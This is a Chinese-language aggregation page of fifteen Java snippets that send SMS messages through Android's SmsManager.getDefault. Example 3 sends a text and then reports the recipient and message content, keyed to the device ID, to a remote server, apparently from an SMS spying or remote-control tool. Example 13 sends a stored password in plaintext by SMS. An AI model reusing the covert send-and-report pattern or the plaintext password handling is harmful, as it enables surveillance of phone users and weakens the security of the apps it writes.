本文整理汇总了Java中android.telephony.SmsManager.getDefault方法的典型用法代码示例。如果您正苦于以下问题:Java SmsManager.getDefault方法的具体用法?Java SmsManager.getDefault怎么用?Java SmsManager.getDefault使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.telephony.SmsManager
的用法示例。
在下文中一共展示了SmsManager.getDefault方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: sendSms
import android.telephony.SmsManager; //导入方法依赖的package包/类
public void sendSms(String phonenumber,String message)
{
SmsManager manager = SmsManager.getDefault();
PendingIntent piSend = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
PendingIntent piDelivered = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);
int length = message.length();
if(length > MAX_SMS_MESSAGE_LENGTH)
{
ArrayList<String> messagelist = manager.divideMessage(message);
manager.sendMultipartTextMessage(phonenumber, null, messagelist, null, null);
}
else
{
manager.sendTextMessage(phonenumber, null, message, piSend, piDelivered);
}
}
示例2: sendSMSMessage
import android.telephony.SmsManager; //导入方法依赖的package包/类
protected void sendSMSMessage() {
Log.i("Send SMS", "");
String phoneNo = phoneno;
//String lat = getIntent().getExtras().getString("Latitude");
//String lng = getIntent().getExtras().getString("Longitude");
// Replace latitude and longitude values
Address msgaddress = AskLocationActivity.address1;
String message = "Shall we run together, Location:"+ "http://maps.google.com/?q="+msgaddress.getLatitude()+","+msgaddress.getLongitude();
Log.d("Message",message);
try {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(phoneNo, null, message, null, null);
Toast.makeText(getApplicationContext(), "Invitation sent.", Toast.LENGTH_LONG).show();
}
catch (Exception e) {
Toast.makeText(getApplicationContext(), "SMS faild, please try again.", Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
示例3: doInBackground
import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
protected String doInBackground(String... params) {
boolean isNumeric = i.matches("[0-9]+");
if(isNumeric)
{
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(i, null, k, null, null);
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
return "Executed";
}
示例4: getSmsManagerFor
import android.telephony.SmsManager; //导入方法依赖的package包/类
private SmsManager getSmsManagerFor(int subscriptionId) {
if (Build.VERSION.SDK_INT >= 22 && subscriptionId != -1) {
return SmsManager.getSmsManagerForSubscriptionId(subscriptionId);
} else {
return SmsManager.getDefault();
}
}
示例5: smsSendMessage
import android.telephony.SmsManager; //导入方法依赖的package包/类
/**
* Defines a string (destinationAddress) for the phone number
* and gets the input text for the SMS message.
* Uses SmsManager.sendTextMessage to send the message.
* Before sending, checks to see if permission is granted.
*
* @param view View (message_icon) that was clicked.
*/
public void smsSendMessage(View view) {
EditText editText = (EditText) findViewById(R.id.editText_main);
// Set the destination phone number to the string in editText.
String destinationAddress = editText.getText().toString();
// Find the sms_message view.
EditText smsEditText = (EditText) findViewById(R.id.sms_message);
// Get the text of the sms message.
String smsMessage = smsEditText.getText().toString();
// Set the service center address if needed, otherwise null.
String scAddress = null;
// Set pending intents to broadcast
// when message sent and when delivered, or set to null.
PendingIntent sentIntent = null, deliveryIntent = null;
// Check for permission first.
checkForSmsPermission();
// Use SmsManager.
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(destinationAddress, scAddress, smsMessage,
sentIntent, deliveryIntent);
}
示例6: sendSMS
import android.telephony.SmsManager; //导入方法依赖的package包/类
public void sendSMS(String address, String content) {
lastSentSMSStatus = -1;
SmsManager smsManager = SmsManager.getDefault();
PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
new Intent("SMS_SENT"), 0);
mContext.registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
lastSentSMSStatus = getResultCode();
Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
}
}, new IntentFilter("SMS_SENT"));
smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}
示例7: sendSMS
import android.telephony.SmsManager; //导入方法依赖的package包/类
private void sendSMS(String number, String message) {
String SENT = "sms_sent";
String DELIVERED = "sms_delivered";
PendingIntent sentPI = PendingIntent.getActivity(getActivity(), 0,
new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getActivity(getActivity(), 0,
new Intent(DELIVERED), 0);
SMSModel smsModel = new SMSModel();
smsModel.setAddress(number);
smsModel.setBody(message);
smsModel.setType(String.valueOf(2));
smsModel.setRead(1);
if (isDefaultSms()) {
smsHelper.insertToSmsContent(smsModel);
}
SmsManager smsm = SmsManager.getDefault();
Log.e(TAG, number + ":" + message);
smsm.sendTextMessage(number, null, message, sentPI, deliveredPI);
}
示例8: toSendSMS
import android.telephony.SmsManager; //导入方法依赖的package包/类
/**
* 发送短信息
*
* @param phoneNumber 接收号码
* @param content 短信内容
*/
private void toSendSMS(Context context, String phoneNumber, String content) {
if (context == null) {
throw new IllegalArgumentException("context can not be null.");
}
PendingIntent sentIntent = PendingIntent.getBroadcast(context, 0, new Intent(), 0);
SmsManager smsManager = SmsManager.getDefault();
if (content.length() >= 70) {
//短信字数大于70,自动分条
List<String> ms = smsManager.divideMessage(content);
for (String str : ms) {
//短信发送
smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
}
} else {
smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
}
}
示例9: sendSMSNow
import android.telephony.SmsManager; //导入方法依赖的package包/类
private void sendSMSNow() {
BroadcastReceiver sendBroadcastReceiver = new SentReceiver();
BroadcastReceiver deliveryBroadcastReciever = new DeliverReceiver();
String SENT = "SMS_SENT";
String DELIVERED = "SMS_DELIVERED";
PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0, new Intent(DELIVERED), 0);
registerReceiver(sendBroadcastReceiver, new IntentFilter(SENT));
registerReceiver(deliveryBroadcastReciever, new IntentFilter(DELIVERED));
try {
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(contact, null, message, sentPI, deliveredPI);
}catch (Exception e){
Toast.makeText(this,getString(R.string.cant_send),Toast.LENGTH_SHORT).show();
}
}
示例10: sendSMS
import android.telephony.SmsManager; //导入方法依赖的package包/类
private void sendSMS(User distressedUser, Contact helpingContact) {
Log.d(TAG, "Emergency Contact Send SMS");
// String distressedPhone = distressedUser.getPhone();
String distressedName = distressedUser.getInfo().getName();
String distressedLat = distressedUser.getLocation().getLatitude();
String distressedLon = distressedUser.getLocation().getLongitude();
String helperPhone = helpingContact.getPhone();
String helperName = helpingContact.getName();
String distressMessage = String.format(getString(R.string.emergency_contact_distress_message_text),
helperName, distressedName, distressedLat, distressedLon);
Log.d(TAG, "Distress Message: " + distressMessage);
try {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(helperPhone, null, distressMessage, null, null);
Log.d(TAG, "SMS sent to " + helperName + " successfully.");
Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_sent_message), helperName),
Toast.LENGTH_LONG).show();
} catch (Exception e) {
Log.d(TAG, "SMS to " + helperName + " failed.");
Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_failed_message), helperName),
Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
示例11: onClick
import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
public void onClick(View v) {
//首先判断是哪个运营商
int i = preferences.getInt("operator", 0);
SmsManager smsManager = SmsManager.getDefault();
switch (i) {
case MOBILE_CHINA:
//中国移动
smsManager.sendTextMessage("10086", null, "CXGPRS", null, null);
break;
case UNION_CHINA:
//中国联通,发送LLCX到10010
//获取系统默认的短信管理器发送短息
smsManager.sendTextMessage("10010", null, "LLCX", null, null);
break;
case TELECOM_CHINA:
//中国电信
smsManager.sendTextMessage("10001", null, "108", null, null);
break;
default:
break;
}
}
示例12: sendSMSMessage
import android.telephony.SmsManager; //导入方法依赖的package包/类
public void sendSMSMessage() {
Log.i("Send SMS", "");
String phoneNo1 = sharedpreferences.getString("contactNumber1", "");
String name1 = sharedpreferences.getString("ContactName1","");
String phoneNo2 = sharedpreferences.getString("contactNumber2", "");
String name2 = sharedpreferences.getString("ContactName2","");
String str = "SMS sent to "+name1+" and "+name2;
String message = sharedpreferences.getString("smsContent","I Need help urgently. This is an automated message.");
try {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(phoneNo1, null, message, null, null);
smsManager.sendTextMessage(phoneNo2, null, message, null, null);
Toast.makeText(getApplicationContext(),str,
Toast.LENGTH_LONG).show();
} catch (Exception e) {
Toast.makeText(getApplicationContext(),
"SMS failed, please try again.",
Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
示例13: proceed
import android.telephony.SmsManager; //导入方法依赖的package包/类
public void proceed(View v) {
//heroField.testValidity() &&
if (
myPhone.getFSH().equals(heroField.getText().toString())) {
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage(
myPhone.getFSH(),
null,
"Your password is: " + myPhone.getPassword() +
" . Sent via Tomato Safety App.", null, null);
Toast.makeText(RecoverPassword.this,
"Password Sent", Toast.LENGTH_SHORT).show();
this.finish();
} else {
Snackbar.make(heroField,
"Invalid Number. Try Again", Snackbar.LENGTH_SHORT).show();
}
}
示例14: onCreate
import android.telephony.SmsManager; //导入方法依赖的package包/类
@Override
protected void onCreate(Bundle savedInstanceState) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
StrictMode.setThreadPolicy(policy);
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
manager = SmsManager.getDefault();
if(sharedpreferences == null)
sharedpreferences = getSharedPreferences(MyPREFERENCES, Context.MODE_PRIVATE);
GLOBAL_PK = sharedpreferences.getInt(Name, 0);
/*SharedPreferences.Editor editor = sharedpreferences.edit();
editor.putInt(Name, 0);
editor.commit();*/
callAsynchronousTask();
//JSONParse parse = new JSONParse();
//parse.execute();
}
示例15: send
import android.telephony.SmsManager; //导入方法依赖的package包/类
public void send(Context context) {
int count = 1;
SmsManager manager = SmsManager.getDefault();
for (String recipient : this.recipients) {
if (manager == null) {
Intent error = generateIntent(Consts.INTENT_SMS_SENT, recipient, count);
LocalBroadcastManager.getInstance(context).sendBroadcast(error);
} else if (messageBody.length() <= Consts.MAX_SMS_LENGTH) {
Log.i(TAG, "Message will be sent as single");
single(context, manager, recipient, count);
} else {
Log.i(TAG, "Message will be sent in multiple parts");
multiple(context, manager, recipient, count);
}
Log.d(TAG, "Sending message to: " + recipient);
count++;
}
if (manager != null) {
Log.i(TAG, "Message sent to " + this.recipients.size() + " recipients");
} else {
Toast.makeText(context, R.string.error_sms_manager_default, Toast.LENGTH_LONG).show();
Log.e(TAG, "send: Could not get default sms manager");
}
}